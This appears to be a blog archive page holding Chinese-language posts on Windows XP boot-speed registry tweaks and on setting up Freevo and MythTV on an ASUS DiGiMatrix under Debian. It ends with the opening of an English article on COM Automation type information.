使用微軟 Bootvis.exe 優化啟動速度

先下載 bootVis.exe檔案，然後解壓後執行〔bootvis.exe〕
→ 之後在〔Trace〕選〔next boot + driver delays〕或其他選擇項目後XP會重新啟動，
並將記錄啟動資料產生成 BIN 的文件。再在〔Bootvis.exe〕→〔file〕
→〔open〕中打開這個文件→在〔Trace〕→選〔Optimize system〕
此優化需時頗長，請奈心等待

移除啟動時載入不需要的程式

如開機時太多程序要執行時會影響開機的速度，先檢查那些檔案會在開機時執行
在〔開始〕→〔執行〕→鍵入〔msconfig〕→選〔啟動〕
在啟動內的程式是代表開機時要執行的程式，如須暫時停止執行某須些程式
便取消在〔□〕的〔X〕符號便可，如想恢復開機時執行此程式在〔□〕內加回〔X〕符號便可
如希望徹底移除者在〔msconfig〕→〔啟動〕的左邊欄〔位置〕上便顯示引導程式執行的位置
其中
1. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
其中的〔HKLM〕代表登錄檔上的〔HKEY_LOCAL_MACHINE〕
在〔Run〕的右邊視窗不需要的項目刪除
2. HKCU\Software\Microsoft\Windows\CurrentVersion\Run
其中的〔HKCU〕代表登錄檔上的〔HKEY_CURRENT_USER〕
在〔Run〕的右邊視窗不需要的項目刪除
3. SOFTWARE\Microsoft\Windows\CurrentVersion\Run
則代表登錄檔的路徑如下
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg
檢查在〔startupreg〕下的路徑，將不需要的項目刪除
4. Common Startup
代表在〔開始〕→〔所有程式〕→〔啟動〕的程式
只要在取消在〔msconfig〕→〔啟動〕內〔□〕不選〔X〕符號便會代為將程式移離〔啟動〕

停用不需要的服務

在〔開始〕→〔執行〕→鍵入〔services.msc〕→
檢查右邊窗口將不需要的服務在〔啟動類型〕內選〔停用〕
→再在〔服務狀態〕中選〔停止〕

加快預讀能力改善開機速度

Windows XP 預讀設定可提高系統速度，加快開機速度。
按下修改可進一步善用 CPU 的效率
在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕
→〔SYSTEM〕→〔CurrentControlSet〕→〔Control〕→〔SessionManager〕
→〔MemoryManagement〕→在〔PrefetchParameters〕右邊視窗
將〔EnablePrefetcher〕的數值資料如下更改
如使用 PIII 800MHz 以上的可嘗試將數值資料更改為〔4〕或〔5〕
否則建議保留數值資料為預設值即〔3〕
更新 SP-1 後如運行不暢順者請將數值資料改回〔3〕


(預設值)	REG_SZ	(數值未設定)
EnablePrefetcher	REG_DWORD	0x00000005(5)

....\HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters

善用 CPU 的 L2 Cache 加快整體效能

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕
→〔SYSTEM〕→〔CurrentControlSet〕→〔Control〕→〔SessionManager〕
→在〔MemoryManagement〕的右邊視窗
將〔SecondLevelDataCache〕的數值資料更改為與 CPU L2 Cache 相同的十進制數值
例：P4 1.6G 的 L2 Cache 為 256Kb，數值資料更改為十進制數值 256
有關 L2 Cache 的數值並非如某些不負責任的網頁亂抄過來
例如 P4 1.6G 的 L2 Cache 為 256Kb，但 P4 1.6GA 的 L2 Cache 為 512Kb
如須取得有關 CPU 的 L2 Cache 的資料，可到此一看


(預設值)	REG_SZ	(數值未設定)
SecondLevelDataCache	REG_DWORD	0x00000100(256)

....HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

在啟動電腦時執行 Defrag 程式

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_LOCAL_MACHINE〕
→〔SOFTWARE〕→〔Microsoft〕→〔Dfrg〕→〔BootOptimizeFunction 〕
將字串值〔Enable〕設定為〔Y〕等於開啟而設定為〔N〕等於關閉


(預設值)	REG_SZ	(數值未設定)
Enable	REG_SZ	Y

我的電腦\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction

減少多重啟動時等待時間

用 Notepad 打開在 C:\　目錄下的 boot.ini 檔案，將內容〔timeout〕
的設定值由預設的 30 (秒) 改為要求等待的秒數數字，存檔

關閉 XP 內設的燒碟功能

如果不打算使用此功能可將其關閉，可加快使用 Nero 燒錄軟件的速度
因 Windows XP 的燒錄系統由 Roxio 公司提供 (即與 Easy Cd Creator 同公司)
在〔控制台〕→〔系統管理工具〕→〔服務〕→在右變窗口選
〔IMAPI CD-Burning COM Service〕→〔啟動類型〕→選〔已停用〕

加快撥號上網的撥號速度

在〔控制台〕→〔電話和數據機選項〕→〔數據機〕→〔進階〕
在〔外加初始化命令〕上填上〔s11=50〕

關機時自動關閉停止回應程式

在〔開始〕→〔執行〕→鍵入〔Regedit〕→〔HKEY_USERS〕→〔.DEFAULT〕→〔Control Panel〕
→在〔Desktop〕右面窗口將〔AutoEndTasks〕的數值資料改為〔1〕
登出或重新啟動


(預設值)	REG_SZ	(數值未設定)
AutoEndTasks	REG_SZ	1

我的電腦\HKEY_USERS\.DEFAULT\Control Panel\Desktop

減少寬頻網卡在開機時等待的時間

如果是使用 ADSL 寬頻上網者可作下列調整
在〔開始〕→〔連線到〕→〔顯示所有連線〕
鼠標右點〔Local Area Connections〕→〔內容〕
→點選〔Internet Protocol TCP/IP〕→按〔內容〕按鈕
→在〔IP位址〕輸入〔192.168.0.1〕及
→〔子網路遮罩〕輸入〔255.255.255.0〕

阿呆的blog: DiGiMatrix與MythTV、Freevo

2008-11-12T00:03:00.000-08:00

阿呆的blog: DiGiMatrix與MythTV、Freevo
接續前篇，DiGiMatrix是MediaCenter最好的選擇，如果搭配MCE2005，應該很不錯用才是。

但是，我不希望住進M$的套房，一日為M$的奴隸，終身都是M$的奴隸。

M$出的MCE2005真的不錯，沒話說，它又自己定了MCE的標準，讓播放軟體(PowerDVD、WinDVD)、燒錄軟體(Nero)有了依循的標準，背後又帶來了小小的商機，目前看到的是，PowerDVD、WinDVD、Nero多了MCE的mark，就貴了幾百元。

不過不能不說M$真的很行，MCE這樣一搞，不但擴大了市場，同時也讓MCE的彈性大大的增加，MCE搭配這些軟體後，可以支援燒錄、影音播放...等功能，隨著支援的軟體便多，這樣的彈性會在增加。

而Linux上，只有兩套主流的Media Center可以選擇，分別是 Freevo 和 MythTV，當然啦～～
XBOX上的那個GeeXBox也可以，不過我初步看起來，它有點像是LiveCD的形式，好像只能作成制式化電腦，不符合DiGiMatrix的強大功能。

Freevo 是我一開始的選擇，也是唯一有中文參考資料的Media Center軟體，可是很不幸的，我發現它對中文、日文有嚴重問題，而且問題是出在 Python 上，這讓我到後來很是難過和生氣，憤而跳到 MythTV 上，可是在當時，我實際上已經把 Freevo 設定得很完善了，大概有個七、八成吧～～～

MythTV就還不錯，搭配了之前Freevo的一些經驗法則(Mplayer、XINE設定)，它的進度其實滿快的，問題也少很多，算得上是很不錯的。

下面我會把我的心得貼出來，原則上是一堆步驟，中間參雜一些些說明，這分文件最早，是用來紀錄的，因為Freevo或是MythTV的安裝流程很複雜，中間要設定的很多，所以寫分文件來紀錄，怕自己忘了，所以一開始的步驟內容很少，只有大略的提到key point，後面有了把它變成文件的想法，所以到後來慢慢出現一些解釋和說明。

而我要說得是，Freevo和MythTV的中文設定文件實在少得可憐，Freevo有一篇，MythTV完全沒有，怎麼搜尋都是介紹兩者差異，對於安裝、設置完全沒提，一點幫助都沒有。

我希望我這篇，可以帶來一些迴響，讓多點人來玩，說不定po到moto學園是不錯的主意。

像MythTV，急需要中文翻譯，我在念研究所，實在沒時間翻譯，想到就腳軟，但是我還是希望看到中文阿～～

==================================================================
這邊我們使用 DiGiMatrix，這台 ASUS 前幾年推出的資訊電腦，
它的好處在於，Linux 對它有非常好的支援性，包括了無線網路卡、電視卡、遙控器、調節式CPU風扇(Q-FAN)、前置面板都有很好的支援，
而其他的顯示卡、音效卡、IDE、網路卡...就根本不用說了。

DiGiMatrix 的電視卡，使用的是 713x 系列的卡，713x 系列卡在 Linux 上支援還ok，而 DiGiMatrix 的更是被很多人 patch 過了。
在我使用的新版 kernel，甚至連選台器的參數和電視卡的參數都不用設，直接抓出正確值。

遙控器，在 Linux 上多使用 LIRC，DiGiMatrix 在 LIRC 中，根本是獨立一個來支援，完全支援 DiGiMatrix 的遙控。
而 DiGiMatrix 的遙控器，是使用 it87 修改版的，因此在 LIRC 的支援中，算是 it87 的分支。

無線網路卡，DiGiMatrix 是使用 RT2400 的驅動程式，非常好裝，在 Debian 下，只需要裝個 rt2400 套件即可搞定，
當然啦，為了顯示名稱的好看，我則在步驟中加入了 alias rt2400 ra0，將網路卡名稱改為 ra0，
而且這個無線網路卡，在 Windows 上直接支援 SoftAP，在 Linux 上，我沒試過將它做成 SoftAP 過，可以 try try 看。
理想上，是直接當家裡 AP 的 repeater，這就很棒了。

Q-FAN 很有趣，在 Linux 上，我們可以直接設置風扇的轉速(依百分比來設置)，也可以自動判斷，判斷條件我們可以自訂。
前置面板也很有趣，目前可以顯示時間和 CPU 溫度，未來說不定改成室外溫度。

顯示卡、IDE 使用 SiS 的，因此裝了 sisctrl 後，我們可以很方便的在 Linux 上設置它(就像 Windows 上的顯示設定)。

音效卡在 Linux 上直接用 Intel i810 的驅動即可，我使用的是 ALSA，因此要先裝 alsa-base 套件才能使用。
設定上，直接用 alsamixer 即可。

幾個會用到的設定檔，包括
source.list(加入 Freevo、sis、mythtv...等站台)
mplayer.conf(改的不同，大致下面有列)
xine/config(改很多，原則上直接貼上再改)
xorg.conf(參照網路上 DiGiMatrix 的依家裡電視稍作修改)
幾個啟動檔，
包括 lirc(LIRC編譯好便會產生在 contrib 目錄下，
以及 asusfan.sh、setpanel.sh、mythtv-frontend 三個，這三個為自己修改

mythtv-frontend 是 Mythtv Frontend 的啟動檔，它總共需要三個檔案，包括了
mythtv-frontend
~/.xinitrc
~/init-frontend.sh

這幾個檔案是參考
http://home.comcast.net/~spuppet/myth.html

再修改之後得到了。

kernel，kernel config 是參考網路上 DiGiMatrix 的 2.6.8 設定檔沿用的，使用上沒有問題。

而下面的步驟，先會將 freevo 的整個安裝流程寫出，之後會將整個 mythtv 的安裝流程寫出。

整個設置涵蓋：
LIRC
lm-sensor(LIRC 使用前，要先設置好 lm-sensor，不然根本無法驅動 it87)
mplayer
xine
wireless(iwconfig、interface等設置，算通用的設定)
X.org
ALSA
kernel source
NFS
Samba(NFS、Samba 為網路分享使用)
VNC(VNC為遠端控制使用)
mythtv
Freevo(mythtv or Freevo)
python(Freevo 是使用 Python 直譯語言寫的，因此和 python 的關係密切，很多支援要靠 python，像 Freevo 要支援遙控器，要先安裝 python-lirc)
gdm(Freevo 時使用，不過後來的 mythtv-frontend 啟動則不再需要了，同樣的設定檔經過修改，也可用於 Freevo，至此不需要 gdm 了)
win32codec(新增加 codec，像是 rmvb、mov 等都需要，算包進了 mplayer 和 xine 中，獨立寫出罷了)
部分 V4L(在使用 v4lctrl 時會需要稍微知道一點)
xawtv、tvtime(電視卡的設置，原則上 Freevo 要吃 tvtime，Mythtv 的 TV 功能內建了，不過需要 xawtv 的設定程式(v4lctrl))

幾個 DiGiMatrix 的參考網站：
http://people.easter-eggs.org/~yack/digimatrix/
http://www.orangeek.org/digimatrix/digimatrix_linux.html
http://www.outertrack.com/digimatrix/index.php

(2006-04-02)
目前，EPG 部分尚未弄出來。
==================================================================================================================
按一般安裝Debian,更新 unstable 後

1.先裝 openssh-server

2.改 sources.list 加入 freevo,sis

2. 安裝 x-window-system,freevo,w32codecs(不用裝，可以直接使用 mplayer 網站上的 codec，解壓縮後改為 /usr/lib/win32 ),幾個 ttf 中文(繁/簡體字型) 並將 mplayer-386 改為 mplayer-586
(註解：apt 裡面的 mplayer 的 rmvb 會有影音不同步的問題,可以參照 http://www.princessleia.com/MPlayer.php 網站一步步將 mplayer 編譯出來,編譯出的最新版本沒有不同步問題,中文字幕問題似乎也可以解決)
(/etc/mplayer/mplayer.conf修改如下)
=============================================
### mplayer DEBCONF AREA. DO NOT EDIT THIS AREA OR INSERT TEXT BEFORE IT.
# MPlayer video output driver, configured by mplayer.deb
vo=xv

### END OF DEBCONF AREA. PLACE YOUR EDITS BELOW; THEY WILL BE PRESERVED.
subfont-encoding=unicode
subcp=big5
unicode=yes
zoom=yes
stop-xscreensaver=yes
=============================================
(在 ~/.mplayer/ 要 link 字型進去,link 成 ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf subfont.ttf)

3.安裝 swat(samba),vsftpd,aee,ee,joe

4.安裝 kernel 編譯相關套件,libncurses5-dev,kernel-package,dialog

5.將 ln -s linux-source-2.6.15 linux

6.安裝套件 lm-sensors ,將 linux-source-2.6.15(自己改過的kernel的source) 解壓縮,將 lm_sensors-2.9.2.tar.gz 解壓縮

7.進入 lm_sensors 目錄,執行 make user,之後 make user_install

8.在 /etc/ld.so.conf 加入 /usr/local/lib,執行 ldconfig

9.安裝 lirc(不裝套件),將 lirc-0.8.0.tar.bz2解壓縮

10.執行 ./setup.sh 選項 1 選 digimatrix 選項 3 選，之後執行 make && make install

11.安裝 modconf,進入後將 lirc_dev,lirc_it87,i2c-dev,i2c-isa 安裝(lirc 需要安裝過 lirc_it87)

12.將 lirc 放到 /etc/init.d/ ,執行 cp /usr/src/lirc-0.8.0/contrib/lirc.debian /etc/init.d/lirc

13.之後執行 update-rc.d lirc defaults 20

14.如果進入後沒聲音，檢查是否有將 freevo 執行的帳號加入到一堆群組中(比照預設的 user 帳號辦理)

15.鍵盤對應參照 freevo 的 src/event.py 和 /etc/lircd.conf 修改，修改後存檔成 /etc/lircrc

16.要支援rmvb，要安裝win32codec套件，之後將/usr/share/doc/mplayer-586/codecs.conf.gz複製到/etc/mplayer/並解壓縮

17.修改 /etc/mplayer/mplayer.conf
vo=xv 註解拿掉(在X11環境時,使用顯示卡硬體加速)
slang=zh(DVD預設字幕,不知道有沒有用處)
fontconfig = yes
font = "/usr/share/fonts/truetype/cwtex/center/cwyen.ttf"
subfont-text-scale = 3
subcp = cp950
vo=xv
spuaa=2
(以上支援中文字幕用,font後面指定字幕用的字型檔)

17b.安裝 xine,先安裝套件 libxine1,libxine1-dev,之後再安裝 xine-ui

17b.要讓 xine 支援中文字幕,參照 http://www.ubuntu.org.tw/modules/newbb/viewtopic.php?topic_id=44&forum=10

18.修改 ee /etc/modutils/aliases 加入 alias ra0 rt2400

19.安裝 gdm

20.確定 /dev/lirc 權限,執行 chmod 666 /dev/lirc*
如果有問題，可以直接使用 lircd --device=/dev/lirc /etc/lircd.conf -n 來檢查
如果說沒有 /dev/lirc，可以直接改 /etc/init.d/lirc 裡面的 /dev/lirc 改為 /dev/lirc0

21.設定 gdm 加入 freevo 項目
以 Debian 來說,gdm項目放在 /usr/share/gdm/BuiltInSessions/
可以查 /etc/X11/gdm/gdm.conf 裡面的 SessionDesktopDir

新增檔案 /usr/share/gdm/BuiltInSessions/freevo.desktop
===============================
[Desktop Entry]
Encoding=UTF-8
Name=freevo
Comment=freevo
TryExec=/usr/bin/freevo
Exec=/usr/bin/freevo
Icon=
Type=Application
===============================

新增檔案 ~/.dmrc(權限,Owner要注意)
===============================
[Desktop]
Session=freevo
Language=zh_TW.UTF-8
===============================

22.將 lircrc 複製到 /etc/ 並確定 local_conf.py 中 lircrc 檔案位置的設定正確
不確定時可以使用
irw
ircat --config=/etc/lircrc freevo
進行驗證

23.到 cd /usr/share/fonts/truetype/ 看看有沒有安裝中文字型,沒有安裝就先安裝好(包括直接解壓縮 fireflysung)

24.要查看 freevo 狀態，可以看 /tmp/freevo/main-1000.log 紀錄檔

25.建立目錄 /var/cache/freevo 並改權限
mkdir /var/cache/freevo
chown media.root /var/cache/freevo

26.如果自己裝 freevo，要記得裝 PyLirc，http://pylirc.mccabe.nu/

23.到 cd /usr/share/freevo/fonts

24.建立目錄 mkdir backup

25.將所有字型備份 cp *.ttf backup/

26.將 VeraBd.ttf 和 VeraBI.ttf 連結到其他中文字型
rm VeraBd.ttf && ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf VeraBd.ttf
rm VeraBI.ttf && ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf VeraBI.ttf

27.要編譯 setpanel 來控制 LED 面板，首先到 http://asusfan.linux-site.net/ 下載 setpanel，之後安裝套件 libasound2-dev，即可。

28.安裝 vncserver,到 real-vnc 網站下載,不過要記得先裝 libstdc++2.10-glibc2.2 套件

29.http://asusfan.linux-site.net/asusfan.html Sensor 設定檔和自動風扇控制程式

30.風扇設定和面板設定參數如下：
setpanel -D "000000" -l -T &
asusfan -m 35 -o 40 -g 3 -i 或者 asusfan -m 40 -g 3 -o 33 -i 這兩個是網站上的推薦，不過似乎不大適用，
簡單說，-m 表示最低的風扇速度，-o 表示最低風扇速度的溫度
目前我的設定:
asusfan -m 0 -g 3 -o 38 -i &

總結：
python 目前對 big5 不支援，不支援中文編碼，在 2.3 版時需要額外安裝 cjkcodec，我裝後效果並不顯著.....
python 2.4 把 cjkcodec 納入，但 Freevo 對 python 2.4 似乎還不非常完整的支援，我沒試過～～
經過了快 2個月的使用測試，Freevo 對中文的支援實在是十分的有問題(或者該說 python 對中文的支援)，
讓我不敢親近他.....

因此我決定跳巢使用 MythTV，至少試看看情況如何，
在這兩個月中，我看到了莫名其妙的狀態，例如這個目錄中文正常，另一個目錄卻是亂碼，
甚至亂碼還同時出現有方塊字和亂碼，Freevo 讓我太失望了。
我深深了解方塊字表示的是能顯示但字型檔沒這個字，可是我換了 n種中文，沒一個能解，又偏偏不是所有字都如此，
中文字型對應我也做了，我只能說，該做的我都做了，但現實環境是 python 要再加油～～
看著 Linux 上最著名了兩套 Media Center 軟體，一套表現的如此讓人難過，
深深感覺，也許花 5000 大洋買套 MCE2005 會實在許多，儘管 M$ 我不喜歡，儘管買下去後就進了 M$ 的牢房，
但 M$ 展現的，是完全沒有中文問題，功能十分齊全，支援非常廣泛，將 Media Center 的硬體完全發揮，
相較於連個中文，連個 TV GUIDE 都搞不出來的 Freevo，我只能說 Freevo 要再加油～～

MythTV：
目前較需要注意的部分....

1.安裝好之後，它會建立 mythtv 帳號，不用額外使用 media 帳號
2.安裝時，會選擇 mysql 密碼，這邊的 mysql 密碼是 MythTV 連上 mysql 時用的
3.安裝好後，先把 MythTV 在 mysql 的資料庫設置好，如下：
mysql -u root mythconverg
mysql> grant all on mythconverg.* to mythtv@"%" identified by "mythtv";
mysql> flush privileges;

mplayer字幕位置問題：
mplayer看電影的時候有個討厭的地方，而這點 xine 做得比較好，討厭的地方在於字幕的位置，
mplayer在放片子的時候，字幕會在影片上，要就是擋到影片，要就是被影片擋到看不清楚，
明明下面一大塊黑色的區塊，卻這樣搞.......

http://forums.gentoo.tw/viewtopic.php?p=55205
上面網址提到解決方案，可以使用
mplayer -vf expand=0:-50:0:0

這樣會在影片下面多出 50像素的黑邊，接著便可以把字幕移到那裡，可是對於像是 Hero 這樣的 4:3 影片，
則會將左右也縮減，在下面產生 50像素的黑邊。

經測試，使用如下
-vf expand=0:-65:0:0

65像素在兩行字時，都會在黑色區域內，距離適中。

MythTV 的中文問題，MythTV 的中文問題可以分兩部分：
一個部分是中文掉字(中文缺字)的問題
另一個部分是文字傾斜(文字上飄)的問題

中文掉字問題其實是因為缺字，MythTV裡面很多部分使用了 Arial 這個字型，
Arial 這個字體似乎不錯，也似乎夠完整，所以很多英文軟體都喜歡用它(Freevo也是...)，
不過 Arial 中文字數不足，因此很多字它沒有，就會造成『魔法家庭』->『魔　家　』，
因此解決方案不難，透過修改 /etc/fonts/fonts.conf 或者新增 ~/.fonts.conf 來改進，
建議，以新增 ~/.fonts.conf 較好，
一方面一般都建議避免修改 /etc/fonts/fonts.conf，
另一方面這個檔案可能因為系統更新而被竄改。

而 fonts.conf 的關鍵是下面這些內容：
================================================================

Arial

AR PL ShanHeiSun Uni

=================================================================

這些內容的功能，是以 XXX (AR PL ShanHeiSun Uni)字型來代換 Arial 字型。

而文字傾斜問題在網路上有人提過了，不過他稱它為『文字上飄』：
http://moto.debian.org.tw/viewtopic.php?t=8621&highlight=%E4%B8%8A%E9%A3%84

而解決方案在：
http://moto.debian.org.tw/viewtopic.php?p=42973&highlight=#42973

搞了半天，這是已知的中文化 bug，透過將幾個程式修正，即可解決，而且似乎還會順道支援粗體字。

電視沒聲音：
找出問題了，問題很簡單，也很白痴，不過也得到了證實......

DiGiMatrix 的電視，在 ALSA 中，是由 AUX 控制的，預設是靜音，只要把它打開即可！！
而 alsamixer 都不會用，真的很笨，設為靜音後，音量多大聲都沒用，這也許是 ALSA 設計時不夠細心吧～～
要開啟/關閉靜音，使用『m』鍵。

Mythtv 還是沒聲音阿：
上述方法可以解決 xawtv 沒聲音的問題，不過 Mythtv 仍然沒辦法解，因為 Mythtv 還有個地方要注意的，
那就是要執行

/usr/bin/v4lctl volume mute off

執行完後，Mythtv 便有聲音了

按照上面設定，有聲音了，但是卻不會和電視同步，而且一進MythTV就有聲音，怎麼辦？
操照下面步驟42 中，關於 MythTV 的聲音設定。

新 Mythtv 步驟：

1.按照一般安裝，之後更新為 sid

2.安裝套件 openssh-server,lm-sensors,alsa-base

3.執行 dpkg-reconfigure locales 改為 zh_TW.UTF-8，其他該加的加加

4.執行 dpkg -i /home/backup/kernel-MyDiGiMatrix***.deb，並將 /boot/grub/menu 內的 default 改到 2(自己 compile 的那個)，以及等待秒數

5.重新開機

6.安裝套件 rt2400,ttf-arphic-*(兩個繁體，兩個簡體，兩個 Unicode)

7.修改 vi /etc/modutils/aliases 加入 alias ra0 rt2400

8.安裝 CwTex字型

9.安裝 mplayer_1.0cvs_i386.deb 和 xine-ui_0.99.3-2_i386.deb 套件(這兩個套件的產生，參照前面的兩個網址)

10.執行 aptitude 將上述兩個套件的相依套件裝好

11.安裝套件 sisctrl(會安裝到跟 X 有關的套件，解析度把 1024x768 勾掉)

12.建立目錄 /etc/mythtv

13.安裝套件 mythtv,mythdvd,mythvideo

14.設定 asusfan 和 setpanel
cd /etc/init.d/
cp /home/backup/asusfan.sh .
chmod 755 asusfan.sh
cp /home/backup/setpanel.sh .
chmod 755 setpanel.sh
update-rc.d asusfan.sh defaults 20
update-rc.d setpanel.sh defaults 20
cd /usr/local/sbin/
cp /home/backup/setpanel .
cp /home/backup/asusfan .
chmod 755 setpanel
chmod 755 asusfan

15.安裝套件 kernel-package,dialog,bzip2,modconf

16.將 kernel source,lm-sensors,lirc 解壓縮到 /usr/src/ 並設 linux 連結(ln -s linux-source-2.6.15 linux)

17.將 all-*******.tar.bz2 解壓縮到 /usr/lib/
(win32codec 的手動安裝方式)

18.將 /usr/lib/all 改為 /usr/lib/win32，並變更為 root.root 權限
mv all-20050412 win32
chown root.root win32

19.安裝 x-window-system-core,vnc4server

20.安裝 samba,swat

21.執行 vnc4server，在將它 kill，修改 ~/.vnc/xstartup 把 twm & 改為 mythtv-setup，再執行 vnc4server

22.選項 1 ～ 4 執行一輪，之後離開.....kill vnc，執行 /etc/cron.daily/mythtv-backend

23.安裝套件 bison,flex

24.安裝套件 lm-sensors ,將 linux-source-2.6.15(自己改過的kernel的source) 解壓縮,將 lm_sensors-2.9.2.tar.gz 解壓縮

25.進入 lm_sensors 目錄,執行 make user,之後 make user_install

26. /etc/ld.so.conf 加入 /usr/local/lib,執行 ldconfig

27.安裝 lirc(不裝套件),將 lirc-0.8.0.解壓縮

28.執行 ./setup.sh 選 digimatrix 之後選 make && make install

29.安裝 modconf,進入後將 lirc_dev,lirc_it87,i2c-dev,i2c-isa 安裝(lirc 需要安裝過 lirc_it87)

30.將 lirc 放到 /etc/init.d/ ,執行 cp /usr/src/lirc-0.8.0/contrib/lirc.debian /etc/init.d/lirc

31.將 /etc/init.d/lirc 內的 --device=/dev/lirc 改為 --device=/dev/lirc0

32.之後執行 update-rc.d lirc defaults 20

33.修改自己的 fonts.conf 設定檔，cp /etc/fonts/conf.d/ttf-arphic-uming ~mythtv/.fonts.conf，加入下列
================================================================

Arial

AR PL ShanHeiSun Uni

=================================================================

34.設定讓 myth-frontend 自動執行，首先要確定有安裝 sudo，接著如下
執行 dpkg-reconfigure xserver-common，改為 Anybody
cd /home/backup/mythtv
cp .xinitrc /home/mythtv/
cp init-frontend.sh /home/mythtv/
mkdir /home/mythtv/logs
cp /home/backup/mythtv/mythtv-frontend /etc/init.d/
chmod 755 /etc/init.d/mythtv-frontend
update-rc.d mythtv-frontend defaults 30
chown -R mythtv.mythtv /home/mythtv

36.確定 /dev/lirc 權限,執行 chmod 666 /dev/lirc*

37.參考網站 http://moto.debian.org.tw/viewtopic.php?p=42973&highlight=#42973，安裝幾個 patch 套件

38.將 mythdvd 的設定從 mplayer 改為 xine -pfhq --no-splash dvd://
(mplayer 不支援 DVD選單，xine支援，因此將 MythVIDEO 改使用 xine 播放)

39.執行 vigr 和 vigr -s 將 mythtv 加入 cdrom,plugdev,dialout,floppy(原則上和media群組相同)

40.讓 XINE 支援中文字幕
複製字型 cp /home/backup/cwyen-* /usr/share/xine/libxine1/fonts/
複製字型 cp /home/backup/newsung-* /usr/share/xine/libxine1/fonts/
修改 ~/.xine/config 裡面的 subtitles.separate.font:sans，將 sans 改為 cwyen 或 newsung

41.安裝套件 ntpdate，修改 /etc/default/ntpdate 裡面的 Server 為 ntp.ntu.edu.tw

42.Mythtv的電視的聲音設定
確定 .xinitrc 裡面有 v4lctl volume mute off
用 alsamixer 改聲音，按『Tab』切換到錄音，接著移到 AUX，按『SPACE』選取為錄音來源，接著移到 Capture 將它調到最大即可
(DiGiMatrix 的電視卡是由 AUX 輸出的，而 Mythtv 的電視功能是即時錄影，因此我們設定錄音來源為 AUX，然後將錄音的音量調到最大即可)

43.設定 mplayer
(/etc/mplayer/mplayer.conf修改如下)
=============================================
### mplayer DEBCONF AREA. DO NOT EDIT THIS AREA OR INSERT TEXT BEFORE IT.
# MPlayer video output driver, configured by mplayer.deb
vo=xv

### END OF DEBCONF AREA. PLACE YOUR EDITS BELOW; THEY WILL BE PRESERVED.
subfont-encoding=unicode
subcp=big5
unicode=yes
zoom=yes
stop-xscreensaver=yes
=============================================
(在 ~/.mplayer/ 要 link 字型進去,link 成 ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf subfont.ttf)

44.MythVideo影片關聯問題
MythVideo 對於 VIDEO_TS 這種 DVD 資料夾(EX：電車男/VIDEO_TS)的判斷是有點問題的，
解決方法是，將 VIDEO_TS 的資料夾改名，並且幫它設定一個關聯，例如：

電車男/VIDEO_TS

改為

電車男.DVD/VIDEO_TS

然後設定一個 DVD 的新檔案類型，使用特定撥放 command，要注意，要記得把什麼 use default 的勾掉

45.讓 xine 和 mplayer 支援遙控器控制
mplayer 對遙控器的訊息比較明確，至少它會有

Setting up LIRC support...

這樣的訊息告訴你遙控器連結是否正確，xine 則似乎不大甩你......

設定上，和 mythtv 的遙控器設定相同，要設定 lircrc 的檔案，
mythtv 會吃 ~/.mythtv/lircrc
而 mplayer 和 xine 則會吃 ~/.lircrc

因此常見的做法是使用 ln -s ~/.mythtv/lircrc ~/.lircrc

將兩個檔案 link 起來..........

而 xine 比較方便一點的地方是，它可以幫你產生 lircrc 的檔案內容，你再自己改即可，
xine --keymap=lirc

它便會產生一大串，我們可以使用
xine --keymap=lirc >> ~/.lircrc

將它貼進原本 mythtv 的 lircrc 中......

之後設定和前面雷同，修改內容，
把 button 改成 /etc/lircd.conf 中遙控器按鍵的設定名稱(大小寫要相同)(xine 中的 button 預設是 xxxxx)。
而這邊要注意的是，xine 預設的 lircrc 有個叫 remote 的參數，預設也是 xxxxx。
remote 似乎是其他電腦控制這台電腦的 xine 用的，它似乎要搭配 xine-remote 使用。
這邊要填的，可能是電腦的 IP，不過我沒試過，在這邊我們使用上，務必要把 remote 整個拿掉，
否則反而會讓所有按鍵都沒作用.......

mplayer 的按鍵設置相同，也是 ~/.lircrc，這邊設置上，
則是要參考 input.conf 的內容和 mplayer -input cmdlist 指令，
input.conf 應該會是在 /usr/share/doc/mplayer/examples/input.conf

可以使用 locate 查看看.......

設定時大致如下，
begin
button = vol+
prog = mplayer
repeat = 2
config = volume 1
end

按鍵對應到 /etc/lircd.conf 中遙控器的按鍵名稱，
程式對應到 mplayer
repeat 看情況設置，原則上，在遇到像是大小聲這類要按著不放的控制時，才需要設置這個數值，而值愈大，反應越慢
config 是重點，要對應 input.conf，然後填入後面控制的參數，以上面得例子，在 input.conf 中是，
0 volume 1
* volume 1

COM Automation: Type Information (II)

2008-11-10T00:54:00.000-08:00

COM Automation: Type Information (II)

Sean Baxter

COM Automation:
Type Information (Part II)

1999

Type Info Motivations

COM is the most ambitious software technology of all time. As the universally recognized protocol for interoperable software, COM has standardized client-server communication. COM Automation provides the foundation for truly language-independent code distribution. Development platforms implementing the Automation controller mechanisms can connect to any Automation server, putting millions upon millions of lines of tested and reliable code at every programmer's fingertips.

COM Type Information, the driving force responsible for this great interoperability between client and server, is the result of a mad programmer's eugenics project. "Let's take a C++ header file," the mad programmer mused, "and make it elite." The mad programmer made a list of the things that C++ headers define or declare:

Constants / Enumerations
Structures
Unions
Typedefs
Functions
Classes

These are undeniably the building blocks of all applications. The mad programmer did not necessarily seek to improve these basic types; instead he constructed a radically new implement to their delivery. Throwing pots and pans, the mad programmer shouted "Away with ye, blasted header files!" He recognized these sorrowful limitations about C++ header files:

They must be distributed externally from their libraries.
They must be compiled with the client code; no runtime resolution is supported.
Distributing header files may reveal implementation details, such as class data members.
Headers affinity to a particular compiler; allowing non-standard extensions prevents other compilers from using the headers and compiled code.
Their textual representation makes it difficult to display them in type information browsers.
C++ functions do not support location transparency; only clients in the same process may invoke them.
It's not possible to define symbols for more than one language; you are stuck with one set of identifiers, be them in Greek, Latvian, Canadian, English, Swahili, or sign language.
